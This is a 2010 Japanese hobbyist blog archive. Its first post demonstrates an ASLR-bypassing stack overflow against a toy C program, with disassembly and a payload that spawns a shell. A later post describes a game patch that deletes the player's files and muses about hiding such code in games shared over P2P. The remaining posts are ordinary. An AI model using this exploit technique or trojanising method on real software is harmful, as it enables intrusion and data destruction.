ASLRがあっても出来るreturn-to-libc攻撃

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久しぶりです。7月一杯はテスト続きで遊べそうにありません…。8月は多少遊べるかと思いますが、9月の初旬にはまたテストがあります。ち な み に 文 系 は あ り ま せ ん 。9月の初旬のテストの後はまた一ヶ月ほど休みがあるので、その時には色々出来るかもしれません。あっ、でも免許取らないと。

とはいえ、情報科学概論Ⅰという講義を聴いている最中にふと思いついたセキュリティネタがあったので投稿します。ちょっと調べた感じだとこの手法は見つからなかったんですが、どう考えてもたいした工夫ではないので既出かもしれません。既出だったらスマソ。

return-to-libc攻撃とASLR

まずreturn-to-libc攻撃について説明しましょう。知ってるという方は飛ばしてください。return-to-libcはバッファオーバーフロー攻撃の一種です。スタック上のバッファに、その大きさ以上のデータを書き込んでしまうことで発生します。

イメージとしてはこんな感じ

20100704_overflow.jpg

関数がリターンした後のスタックの構造が、ちょうどsytem関数を呼び出したときと同じように工夫するのがミソです。CPUはこの時、system(“cmd”)が実行された時と同じように振る舞い、結果任意のコマンドを実行させる事が可能になってしまいます。

Windows Vista以降では、ASLRといって、system()関数も含めた外部ライブラリに含まれる関数のアドレスを毎回ランダムにする事でこの攻撃を防いでいます。戻るべきsystem()関数のアドレスが毎回変わってしまうのですから、攻撃を成功させることも難しくなる、大変有効な対策です。†1

アドレスが毎回変わらない関数

しかし、毎回アドレスが絶対に変わらない関数があります。それはアプリケーション内の関数です。アプリケーション内の関数は、DLLでロードされるライブラリと違い、毎回ロード先のアドレスが変わらないようです。(確かPEヘッダで指定するんだったっけ?)

なら、ランダムで戻るのが難しいライブラリの関数に戻るのでなく、このアプリケーション内の関数に戻れば良いのでは…?いやいや、戻る先も関数そのものでなくともよく、書き込むスタックの内容さえ工夫すれば同じプログラムに含まれるありとあらゆるコードにジャンプして任意の処理を実行できるのでは…?

Windows Vista / Windows 7 Starter(32ビット)で確認できた実演デモ

本来はファイルの内容を表示するプログラムですが、この脆弱性によってシェルを実行するように改変されています。

ダウンロード

Vista Businessと 7 Starter(どちらも32ビット)で動作を確認しています。

2010/07/04現在で最新にアップデートしてあるWindows7/Windows Vista(どちらも32ビット)で動作を確認しています。アップーデートで使えなくなる可能性は十分ありますので、起動しなくてもめげないでね!

スクリーンショット

20100704_overflow2.jpg

こんな感じでシェルが実行されます。

コードの解説

まずは意図的にバッファーオーバーフローさせてるプログラムのソースコードを。

#include 
#include 
#include 

void exec(){
	//何かの処理
	fprintf(stdout,"debug message\n");
	//外部アプリケーションの実行
	system("ipconfig");
}

int main(int argc, char* argv[]){
	//ファイルの中を表示するだけのクソプログラム
	FILE* file = fopen("data.dat","rb");

	//ファイルサイズを取得
	fseek( file, 0, SEEK_END );
  	int size = ftell( file );
	fprintf(stdout,"file size: %d\n", size);
	fseek( file, 0, SEEK_SET );

	//ファイルサイズ分だけコピー。ここでオーバーフロー。
  	char dst[40];
	fread(dst,size,1,file);
	//ここでfileにNULLを代入してもクラッシュはしない
	fclose(file);

	fprintf(stdout,"content: %s\n", dst);

	return 0;
}

上のほうのexec()がポイントです。想定としては、プログラム内から他のアプリケーションを呼ぶような動作を模擬したものと考えてください。今回は”debug message”を表示させることなくsystem関数を呼び出し、さらにそのコマンドも”ipconfig”でなく”cmd”を実行します。

逆アセンブルコード

exec関数
00401318  /. 55             PUSH EBP
00401319  |. 89E5           MOV EBP,ESP
0040131B  |. 83EC 18        SUB ESP,18
0040131E  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; ||
00401323  |. 83C0 20        ADD EAX,20                               ; ||
00401326  |. 894424 0C      MOV DWORD PTR SS:[ESP+C],EAX             ; ||
0040132A  |. C74424 08 0E00>MOV DWORD PTR SS:[ESP+8],0E              ; ||
00401332  |. C74424 04 0100>MOV DWORD PTR SS:[ESP+4],1               ; ||
0040133A  |. C70424 3020400>MOV DWORD PTR SS:[ESP],target.00402030   ; ||ASCII "debug message"
00401341  |. E8 26070000    CALL <JMP.&msvcrt.fwrite>                ; |\fwrite
00401346  |. C70424 3F20400>MOV DWORD PTR SS:[ESP],target.0040203F   ; |ASCII "ipconfig"

/** main関数をここへリターンさせる! **/
0040134D  |. E8 22070000    CALL <JMP.&msvcrt.system>                ; \system
00401352  |. C9             LEAVE
00401353  \. C3             RETN

 

main関数

 

00401354  /$ 55             PUSH EBP
00401355  |. 89E5           MOV EBP,ESP
00401357  |. 83E4 F0        AND ESP,FFFFFFF0
0040135A  |. 83EC 40        SUB ESP,40
0040135D  |. E8 CE040000    CALL target.00401830
00401362  |. C74424 04 4820>MOV DWORD PTR SS:[ESP+4],target.00402048 ; ||||||||ASCII "rb"
0040136A  |. C70424 4B20400>MOV DWORD PTR SS:[ESP],target.0040204B   ; ||||||||ASCII "data.dat"
00401371  |. E8 06070000    CALL <JMP.&msvcrt.fopen>                 ; |||||||\fopen
(中略)
00401401  |. E8 8E060000    CALL <JMP.&msvcrt.fread>                 ; ||\fread
00401406  |. 8B4424 38      MOV EAX,DWORD PTR SS:[ESP+38]            ; ||
0040140A  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||
0040140D  |. E8 8A060000    CALL <JMP.&msvcrt.fclose>                ; |\fclose
00401412  |. A1 14414000    MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; |
00401417  |. 8D50 20        LEA EDX,DWORD PTR DS:[EAX+20]            ; |
0040141A  |. 8D4424 10      LEA EAX,DWORD PTR SS:[ESP+10]            ; |
0040141E  |. 894424 08      MOV DWORD PTR SS:[ESP+8],EAX             ; |
00401422  |. C74424 04 6320>MOV DWORD PTR SS:[ESP+4],target.00402063 ; |ASCII "content: %s"
0040142A  |. 891424         MOV DWORD PTR SS:[ESP],EDX               ; |
0040142D  |. E8 72060000    CALL <JMP.&msvcrt.fprintf>               ; \fprintf
00401432  |. B8 00000000    MOV EAX,0
00401437  |. C9             LEAVE
00401438  \. C3             RETN

 

攻撃コード

20100704_overflow3.jpg

 

7468 6973  this
2064 6174   dat
6120 6973  a is
2061 2073   a s
6865 6c6c  hell
636f 6465  code
2c20 6861  , ha
6861 2e00  ha..
0000 0000 ....
0000 0000  ....

 

最初の40バイトはバッファにあふれない分のデータです。

何かメッセージが出ないと寂しいので、文章を書き込んであります。

 

0000 0000  .... //上書きされる"file"の値(注意:fclose(NULL)はエラーにならない)
0000 0000  .... //上書きされる"size"の値
0000 0000  .... // 作業用領域(freadの後には使われない)
0000 0000  .... // 作業用領域(freadの後には使われない)
0000 0000  .... // "leave"命令で使われる、EBPに代入されるアドレス(適当でいい)
4d13 4000  M.@. // 命令"CALL <JMP.&msvcrt.system>"がおいてあるところへのポインタ

 

関数が戻るまでにクラッシュしないように工夫した†2ローカル変数領域です。

リターンアドレスが、exec()内でsystem関数を呼び出す直前になっています。

以下が、”CALL <JMP.&msvcrt.system>”に戻ったときに使うデータです。

 

38ff 2200  8.". //下の文字列"cmd"へのポインタ
0000 0000  ....
636d 6400  cmd.
0000 0000  ....

 

スタックに引数”cmd”が乗せられている状態になっていて、この状態で”CALL <JMP.&msvcrt.system>”を実行すればコマンドプロンプトが実行される、というわけです。

libcに限らず、実行できてはいけない処理が意図しないタイミングで実行される

この手法を使えば、プログラム中に含まれるありとあらゆる処理が意図しないタイミングで実行し放題になると思われます。出来そうな事はこんな感じ。

  • 今回のように、アプリケーション内で呼ばれているAPI(たとえばsystem())に戻って任意のコマンドを実行する
  • パスワードやらなにやらの認証機構で保護されている処理を無理やり呼び出す
  • WinGrooveのコピートラップ関数を呼び出す(笑)

Linuxではさらに制限が掛かる

linuxでは「PAX」によって以下のようにスタックのアドレスも毎回ランダムで変わるので、Windowsより制限が厳しくなります。スタック破壊を検出するStack-Smashing-Protectorとかでも制限が掛かるかも…。

上記のプログラムのローカル変数「size」のアドレスを表示するプログラムです:

 

$ ./stack
addr of "size": bfb5de08
$ ./stack
addr of "size": bfec2a58
$ ./stack
addr of "size": bfbc6288

 

このように、毎回かなりランダムになる事が分かります。文字列等のポインタを扱うにはスタック上のアドレスが必要なので使えず、イミディエイトな値のみしか扱えなくなります。

とはいえ、この辺は通常のreturn-to-libcと同じなのでいろいろと回避テクがあるかもしれません。

出来そうな対策は?

  • DLLだけでなく、アプリのロード先も毎回ランダムにする

これしかないと思います。今ちょっと確認したところ、殆どのソフトウェア内のcall/jmpはすべて相対ジャンプで行われているようですし、たぶん問題は起きないと思います。DLLでは既にそうなっていますから、特に問題は無いはず…。Linuxだと実はすでに行われてるのかな?

誰かFirefoxのバッファオーバーフローのexploitコードのありかを教えてくれー

 

実演動画作ってニコニコ動画に上げます!(流石に公開はしない)

久々にジャンピングフラッシュ

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 ちょっと久しぶりに元祖飛びゲー、ジャンピングフラッシュ!(初代PS/95年)をやってみました。もう発売から15年経つんですねえ。幼稚園に入る前ぐらいからやってたかな。体力ギリギリでラスボスを倒した時の緊張感は未だに覚えてます。

 一言でいえば、コミカルな空中箱庭を、ウサギ型ロボットにのって空中散歩するゲームです。三段ジャンプでぴょんぴょんと空中を飛び回れ、敵を倒さず操作してるだけでも楽しいゲームです。全く他に類が無く、今見ても斬新だと思います。動画では乗り物酔いする人も居るので、ぜひ実際にプレイしてみてください。

 キャラクターもデフォルメされてて可愛いんですよー。自機のウサギ型ロボット「ロビット†1」とか、頭にやしの木が生えたクラゲみたいなムームー星人†2とか、応援しか能のないAIのクマゴローとか、どことなくやる気のないキーウィ(左)とか、キモかわいいゴキブリのゴッキーくんとか。敵もみんな可愛くて、挙げたらキリが無いです。

 かなり近くのオブジェクトしか描画できなかったり、やはり今見るとテクスチャがかなり荒かったりするので、そこらへんを改善してフルHDでリメイクするだけでも相当面白くなると思うんだけどなあ。とはいえ、あの絶妙な操作性を再現するには当時のプログラマが居ないと話にならないと思いますが、開発元のシュガーアンドロケッツも消失した現在、それは難しいのかも…。

 このゲームがこのまま忘れ去られちゃうのは、日本のゲーム業界の損失だと半分くらい本気で思ってます(笑) だって面白いよ、このゲーム!PSアーカイブでも遊べるらしいからみんな遊んでみてね。

ジャンピングフラッシュ
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おすすめ度の平均: 4.0

4 PS初期の名作ゲーム。
5 皆、こういうの知ってるのかなあ…?
3 いいですよ

 ステージとステージの合間にはいる、ボスを操作していたムームー星人が飲み屋で愚痴をこぼすシーンも可愛いくておすすめです。

Jumping Flash!2 ~アロハ男爵大弱りの巻~
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おすすめ度の平均: 4.0

4 ジャンプ、ジャンプ

 2もオススメです。ゲームデザインが十分に完成されているのか、続編というよりは、追加ステージと思った方が良い感じです。

ロビット・モン・ジャ
ロビット・モン・ジャ

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おすすめ度の平均: 3.5

3 首が・・・
4 酔うかも

 3では今までのシリーズのようにステージやボスを攻略していくのではなく、宇宙市役所が市民のお悩みを解決する!というミッションクリア型の内容に変わっており、気の抜けたストーリーと相成って今まで以上にのんびりーとしたゲームになりました。PS3で上手く動かないのが難点(数分操作すると操作が効かなくなる)です…。パワーダウンは否めませんが、それでも面白いですよ。

 あ、あと終盤のとても暗くて足場が見えないステージは、テレビの輝度を上げるとクリアしやすくなりますよん。どうしようもなくクリア出来ないときは適度に上げてみると良いかも。

ウサギで思い出した

 今週のキルミンずぅの「うさぴょん星人のコスプレぴょん」で死んだ リコとポチ姉も言ってくれんかのー

  • †1: なにこれ!マジで欲しい!!
  • †2: 一時期プレステのマスコットでしたな

巫女が死ぬとファイルが消える東方作った

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ゆっくりしていってね!!!・・・と
言いたいところだが、
君等(のファイル)には消えてもらう。
実は今まで君たちが巫女だと思っていた
残機の正体は、
ハードディスクの肥やしになっている
マイドキュメントの.docファイルだったのだ。
君等は何も知らずに
作りかけのレポートを削除していたのだよ。
しかしそれは、
私の筋書どおりなのだ・・・
あとはゲームを強制終了させれば
私の計画は完成する。
これからは私の最強の
特別戦闘部隊をもって
君等を抹殺するので
よ ろ し く。

巫女が死ぬとファイルが消える東方作った

ついカッっとなって作った†1。後悔はしていない。

巫女(じゃなくても可)が死ぬ度に、マイドキュメントのファイルがランダムで一つずつ消えていきます。消すファイルが無くなった場合、ゲームがアプリケーションごと終了します。もうこれは死ぬ気で練習するしかないねー

 

パッチダウンロード

すいません公開できません m(_ _)m

公開して割れゲーに紛れて流されると色々ヤバイwのでwwwwww

原理

簡単に言うと、巫女が死ぬ処理に無理やり割り込んで、ファイルを消す処理をくっ付けてるだけです。だから、洞窟物語の「どこでもセーブ」パッチと技術的にはほとんど同じです。ただ、こっちの方が追加されてる処理が多くて複雑ってだけです。

アイデアは「【自己責任】敵機を撃つとHDDのファイルが削除されるシューティングゲームが登場」から貰い、ファイルが消える条件を反転させて一般のゲームに実装した形になります。ルールとしてはこちらの方が緊張感があって良いと思うのですが、どうでしょうか(笑

知らず知らずの内に悪意のある処理が行わせる事が可能

今回は実験なので、ファイルを削除した際にウインドウを表示して削除した事が分かるようになっていますが、もちろんそうした表示処理をすべて消してしまう事も可能です。その場合、プレイヤはファイルが消されていることにおそらく気づかないでしょう。

この実例で、P2P等にこうして改造したゲーム等の実行ファイルを流すことで、ダウンロードした人が全く気づかないうちに悪意のある処理を実行させることが可能という事が分かったと思います。もちろんUACが不要な範囲内で、ですが、それでも個人情報を流出させるには十分です。

現在、キンタマウイルスのようなファイル名を偽装するような手口がよく知られていますが、このファイル名を偽装したウイルスを実行させる方法には引っかかった場合大抵すぐ気づくという難点があります。

しかし今回の手法ならもっとナチュラルに実行させる事が可能でしょう。ゲームと一心同体ですから。

感想と今後の展望

今回、パラサイトルーチンは全部手書きアセンブラですw

正直全部アセンブラで書くのは、まあ…たまにやる分には楽しいがしんどすぎるw 今回はファイルの列挙を行う処理ということで再帰処理が入ってるんですが、スタック操作がなかなか大変でした。まあその分今後解析を行う際の参考にはなったかな、と思いますけどね。

アプリの最後の方にdllのファイルをそのままくっ付けておいて、パラサイトルーチンはdllを分離して実行させて、処理に割り込んだ時の処理はdll内の関数を呼ぶだけ、みたいな感じで、任意のDLLが呼べたりすると楽ですね。もうこんなにたくさん書きたくないわ…。

ふと気づいた

これただのファイル感染型ウイルスじゃね?(

今までずっと「本物のファイルに紛れてるキンタマウイルス」という線で考えてたので気づかなかった。

みんながみんな全く疑うことなく実行しているだろうと思われるP2Pのゲームに入れるのは効果的だと思うが、P2Pの大半の人間はDL専門だとすると拡散させにくいという気はする。特定のファイルだけ気をつければいいならハッシュ指定とかで防げちゃうだろうし。

あ、あと

五月祭お疲れさまでした え、ああ、ちゃんとさきゅばすも作ってるよ 仕様書も無い言語の言語処理系って難しいな…。ニワン語はプロトタイプ型オブジェクト指向ってことでいいの?

  • †1: 製作時間は3時間程度

明日・明後日は五月祭に参加します

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 東京大学の五月祭に参加します。私はニコニコ動画研究会のメンバーとして、各種団体を取材するのをメインでやります。

こんな格好で行きます

 以下の格好で行きますので、何か文句を直接言いたい場合の参考にしてください。私かどうかは分かりませんが、誰かメンバーの一人がカメラを持っているはずですので、それも参考にしてね。

土曜日

 すいません。体力的問題で本日は休みます。今週は色々ありすぎたのだ…。なお、明日着ていく格好に変更はありません。

日曜日

要約

 半ズボンのヲタを見つけたら大体私。そしてキルミンずぅ面白いのでみんな見てください。

東京大学ニコニコ動画研究会で東大ちゃんねるを開設(予定)

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 誰だよ大学は暇だの幼稚園だの言った奴は!!浪人してた時より忙しいぞwwwwww

 ニコニコ動画研究会っていうまだメンバーがリアルに顔会わせして今日で一週間のサークルに入ってるんですが、その関係で一つ告知があります。

ニワンゴの杉本誠司社長にお会いしました

 メンバーのつてでニワンゴの杉本誠司社長からお話を戴きまして、ニコニコ動画のチャンネルの一つとして、「東大ちゃんねる」を作らないか、という事になりました。動画の配信のほか、生放送を行う予定です。

 明日・明後日の五月祭では時間が無いため生中継は行いませんが、1~2ヶ月以内には企画を立てて、動画配信や生放送を行おうと考えています。

 昨日杉本誠司社長とお会いして、今後の方針のほか、参考になるお話を色々とさせていただきました。その場で上がった事についてとても適切な例を瞬時に上げられたり等、とても頭の切れる方で圧倒されました…。

メンバー募集中

 というわけで、ニコニコ動画研究会ではメンバーや協力してくれる方を募集中です。

  • 生中継の企画をしたい人
  • 生中継に興味がある人
  • ウェブサイトのデザイン等に興味がある人
  • その他詳しい話を聞きたい人

 は、私のメールアドレス、psi<ぁっとまーく>science.mi.toか、代表(ゲンシュン)のメールアドレスnikochu_otsu<あっとまあく>yahoo.co.jp†1までご連絡ください。

 注意です。これは1ユーザとして行う単なる遊びではなく、ある種のビジネスです。会社側からの手厳しい駄目出しもあるでしょう。「生放送でてえwwww」といった安易な気分で入ると後悔するかもしれません。本気でやっていける方を募集しています。

と、こうして

 さきゅばすの開発は遅れていくのであった。

 実を言うと、サークルを一個立ち上げた(えっ)のですが、それはおいおい。

  • †1: ひどいメールアドレスだww

アニソン三昧視聴中

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ニワン語のANTLRでの文法定義書きながらNHK-FMのアニソン三昧視聴中

Poo@キルミンずぅ来た、これで勝つる!!!!!!!!!!!

# 2~3通名前を変えてリクエスト送りました 採用はされなかったけど。

ちょっと嬉しかったのでこれだけですが記事を投稿(

# こういうのついったー向けか?

「さきゅばす」公式サイト、模様替え終了。

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 公式掲示板がついに荒らされた事を受け、このたび、気分転換もかねてさきゅばすの公式サイトの模様替えを行いました。

 環境を、

 から、

 という環境にしました。ずいぶん垢抜けた感じになったな…。なんというか、2000年代前半から後半に、約5年くらい進んだ感じがするw

 昔のBBSはついに荒らされてしまった上、書き込みしたクライアントについて記録してある情報も極端に少ないなど問題があったので、廃止とさせて頂きます。ここ一ヶ月近く書き込みも無かったようですし、問題はありませんよね…?もちろん、過去ログはこちらで閲覧できます

phpBBはすごい!

 やはり有名なプロジェクトだけあって機能がすごい…。設定するのも大変ですが。大丈夫かな、セキュリティ…。

 日本語だと最近のバージョンの情報がほぼ無いのですが、最近のバージョンだとver2系列ではmodが必要だった(らしい)以下の機能がカスタマイズやmod無しで使えます。

  • RSS配信
  • ファイルのアップロード
  • utf8対応による多言語化

 前出の記事での調達用件のうち、達成できたのは、

  • reCAPTHAによるSPAM弾きができる それとも妹認証!?
  • IPアドレスその他のクライアントについての情報をちゃんと記録する
  • MySQLでデータを記録し、高速な表示や検索が行える
  • RSSの配信ができる
  • 内部コードはUTF8で多言語対応
  • 言語は何でもいいや

 達成ができなかったのは

  • SPAMか否かの投票ができ、SPAM認定されたら表示しない。(Youtubeを思い出してね)

 これだけ!なかなかすごいな。SPAMはreCAPTCHAで弾けるのを期待。

MediaWiki

 こちらもやはりWikipediaで採用されてるだけあって凄いです!しかも、想像してたより軽い!

 RSSを表示するextensionを入れることでSourceForgeのニュースとシンクロしたり、最新バージョンをSourceForgeに登録するとそれがそのまま公式サイトにも表示されたりします。うーん、すごい便利だ。

 こちらも、書き込み時にreCAPTCHAで認証を行うのですが、毎回毎回認証させる訳ではなく、外部URLを書き込んだ場合などに限っています。なるほど…うまいですね。

mt-sukeroku2 β3のMT5における不具合を修正する

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 当Blogでも利用しております、MovableTypeではてな記法(やその他)を使えるようにするプラグイン、mt-sukeroku2 β3は、MovableType5では不具合があるようで、文の冒頭が全角空白で始まっている場合に整形されなくなってしまうようです(半角空白で始まっている場合に効かなくなるのは「整形済みテキスト」記法なので、仕様です)。

 今回、対策用のパッチを作ってみましたのでおいておきます。内容は正規表現の中の「\s」を「 」(半角空白そのもの)に置き換えただけです。

 以下のパッチをEUCで保存して当てて下さい。これくらいなら手動でもいい気がしますけれど。

=== modified file 'extlib/Text/Sukeroku/HatenaDiary.pm'
--- extlib/Text/Sukeroku/HatenaDiary.pm	2010-03-07 06:49:17 +0000
+++ extlib/Text/Sukeroku/HatenaDiary.pm	2010-03-07 07:32:46 +0000
@@ -174,7 +174,7 @@
# スタックを吐き出す
push(@result, splice(@saved));
# 空白文字ではじまり、整形テキスト出力でないなら<p></p>付加
-      if (/^\s+/) {
+      if (/^ +/) {
($modeParagraph == 1 &&
$modePreLevel != 1) ? push(@result, $self->html->inlineElement('p', $_, ()))
: push(@result, ($_));
=== modified file 'extlib/Text/Sukeroku/PukiWiki.pm'
--- extlib/Text/Sukeroku/PukiWiki.pm	2010-03-07 06:49:17 +0000
+++ extlib/Text/Sukeroku/PukiWiki.pm	2010-03-07 07:34:16 +0000
@@ -129,7 +129,7 @@
push(@result, "<p>");
}
# 整形済みテキスト
-    elsif (/^\s(.*)$/) {
+    elsif (/^ (.*)$/) {
$self->backPush('pre', 1, \@saved, \@result, ());
push(@result, $self->html->escape($1));
}
@@ -166,7 +166,7 @@
$self->backPush('table', 1, \@saved, \@result, ());
my $tmp = "$1,";
my @value = map {/^"(.*)"$/ ? scalar($_ = $1, s/""/"/g, $_) : $_} ($tmp =~ /("[^"]*(?:""[^"]*)*"|[^,]*),/g); # ";
-      my @align = map {(s/^\s+//) ?1);
}
# 整形済みテキスト
-    elsif (/^\s(.*)$/) {
+    elsif (/^ (.*)$/) {
$self->backPush('pre', 1, \@saved, \@result, ());
push(@result, $self->html->escape($1)); # Not &$func_inline, but &escape
}
@@ -103,7 +103,7 @@
$self->backPush('table', 1, \@saved, \@result, ());
my $tmp = "$1,";
my @value = map {/^"(.*)"$/ ? scalar($_ = $1, s/""/"/g, $_) : $_} ($tmp =~ /("[^"]*(?:""[^"]*)*"|[^,]*),/g); # "
-      my @align = map {(s/^\s+//) ? ((s/\s+$//) ? ' align="center"' : ' align="right"') : ''} @value;
+      my @align = map {(s/^ +//) ? ((s/ +$//) ? ' align="center"' : ' align="right"') : ''} @value;
my @colspan = map {($_ eq '==') ? 0 : 1} @value;
for (my $i = 0; $i < @value; $i++) {
if ($colspan[$i]) {

「\s」に全角空白にヒットするか?

 ネットでちまちま検索してみたところ、メタ文字「\s」に全角空白はヒットしないようですし、このプラグインを無理やりコマンドラインから叩いてみてもやっぱりヒットしませんでした。

 が、なぜかMT5内から呼ばれると全角にもヒットするようになり、当Blogのように段落の冒頭に全角空白を入れてる場合、ほとんどのテキストが整形されなくなってしまうようです。

 よくわかんないや。まあ動いたから良いや。

  1. s/\s+$//) ? ' align="center"' : ' align="right"') : ''} @value; + my @align = map {(s/^ +//) ? ((s/ +$//) ? ' align="center"' : ' align="right"') : ''} @value; my @colspan = map {($_ eq '==') ? 0 : 1} @value; for (my $i = 0; $i < @value; $i++) { if ($colspan[$i]) { === modified file 'extlib/Text/Sukeroku/YukiWiki.pm' --- extlib/Text/Sukeroku/YukiWiki.pm 2010-03-07 06:49:17 +0000 +++ extlib/Text/Sukeroku/YukiWiki.pm 2010-03-07 07:34:25 +0000 @@ -93,7 +93,7 @@ push(@result, $self->html->openElement('p',( []

「『さきゅばす』掲示板」が荒らされてる件

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 推奨BGM:迷惑メーリングGIRL

 「さきゅばす」掲示板 がついに荒らされたみたいです。

現在公式サイト改装中

 現在、公式サイトをMediaWikiに移行して、その上で掲示板プラグインを動かそうと作業中。公式サイトは現在死んでおります。

05/02 11:03現在

 やだ…移行が済んだからまともな掲示板プラグイン探したけど全く無いじゃない…アップローダプラグインも無いじゃない…絶対あるだろうと見こんで作業したのに…。どうするかなあ。

05/02 16:20現在

 現在の案:

  • phpBBを使う
    • アップロードもmodを使えばでき、reCaptchaプラグインもある模様。
    • 日本人にはなじみのないシステムなのが難点。
  • 「サポートは2chで」と言い切る
    • 案外その方が一本化されて良いかもしれない。過去ログ保存するのが面倒なのが難点。
    • アップローダは昔rubyで作ったやつ(簡易掲示板機能付き)があるので、それをカスタマイズして使う。

 ついに…ついに来たか…。

 この掲示板のSPAM対策は現在今年何年?認証のみです。この記事にも書きましたが、この方式は数多くの掲示板に、BOTを使って絨毯爆撃を仕掛けるようなタイプのスパマーには効果がありますが、個別にこの掲示板を狙われると意味がありません。

 ついにBOTに実装されたんでしょうか…。でも、「CAPTCHAを人力で解くサービスを行う会社がある」ことを踏まえると、手動の掲示板SPAMってのもありそうな気がします。

この掲示板はIPアドレスすら記録していない

 びっくりして掲示板のログを調べましたが、現在の掲示板スクリプトはIPアドレスすら記録していない模様…。これは流石に…。

 Apacheのログを調べたところ、ホストは「*.*.*.*.broad.hm.nm.dynamic.163data.com.cn」。検索してみると、どうも有名なスパマーのようですね。諸事情により一件しか残ってないんですが、ログを転載しておきます。

121.56.231.39 - - [29/Apr/2010:20:08:10 +0900] "POST /soft/saccubus/bbs/post.php HTTP/1.1" 200 327 "/soft/saccubus/bbs/read.php?key=1270951891" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQPinyin 730; TheWorld)"

そろそろ替え時か

 ついにSPAMも書かれてしまった事ですし、そろそろ替え時でしょうかね。流石にIPアドレスすら記録してないのはちょっと…。RSSの配信なんかも出来なくて不便ですし…。

掲示板の調達用件を列挙してみる

 上に行くほど重要度が上がります。

  • reCAPTHAによるSPAM弾きができる それとも妹認証!?
  • IPアドレスその他のクライアントについての情報をちゃんと記録する
  • MySQLでデータを記録し、高速な表示や検索が行える
  • RSSの配信ができる
  • SPAMか否かの投票ができ、SPAM認定されたら表示しない。(Youtubeを思い出してね)
  • 内部コードはUTF8で多言語対応
  • 言語は何でもいいや

 やだ…こんなの探したけど無いじゃない…。どうしよう…自分で書くのめんどくさい…。

「愛と勇気とかしわもち」どうにかしてあいちゃんを助けよう

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 一部ではホラーゲームだの精神的ブラクラだの検索してはいけない言葉だの言われてる某ほのぼのハートフルボッコパズルゲーム「愛と勇気とかしわもち」のあいちゃんを何とかして助けるためのパッチです。どうしてもクリアできそうに無い人向け

もっと具体的に言うと

 難しくてしょうがない上にクリア出来ないと怖くて寝れないので以下の改造を施すパッチを作りました。

  • 処理落ちしている環境だと強制的にゲームオーバーになるトラップを回避
  • ゲージ減少速度の低下(1/2、1/4を用意しました)

 BESとかで無理に処理落ちを掛けたり、パソコンのスペック不足などで処理落ちが起きると強制的にゲームオーバーになるトラップがありました。具体的に言うと、1フレームが100ms以上はなれると(つまり、一時的にでもFPSが10を切ると)強制的に赤ゲージが0になり、ゲームオーバーになります。このトラップを解除しました。

 ついでに、ゲージの減少速度も低下させました。1/2か1/4になりますので、これならたぶん誰でもクリアできると思います。

# 1/2と1/3にしたかったのですが、命令スペースがどうにも足りなかった†1ので、1/4にしました…。

ダウンロード

 2010年4月30日現在のver.1.1.1向けのパッチです。

 申し訳ありませんがご利用は自己責任でよろしくお願いします。

当て方

 中に入ってる.exeファイルを「love.exe」と同じフォルダに入れて、exeファイルを実行してください。自動でパッチがあたります。

 友人からのリクエストです。その友人に薦められて私もやりましたが…なにこのゲーム怖すぎワロタ ある意味最初から怖いって分かってるホラーゲームよりも悪質だな…。

さきゅばすかいはつにっき

 大学がなんとMac環境だった!ので、Mac対応コードを書いてみました。思ってたほどObjective-Cは変な言語じゃない。

 あとはffmpegの拡張側から書こうと思ってまして、今開発環境のビルド中です。マンドクセ

  • †1: 1/4なら命令長の短いビットシフト命令が使えるが、1/3は命令長の長い割り算命令を使わなければならない。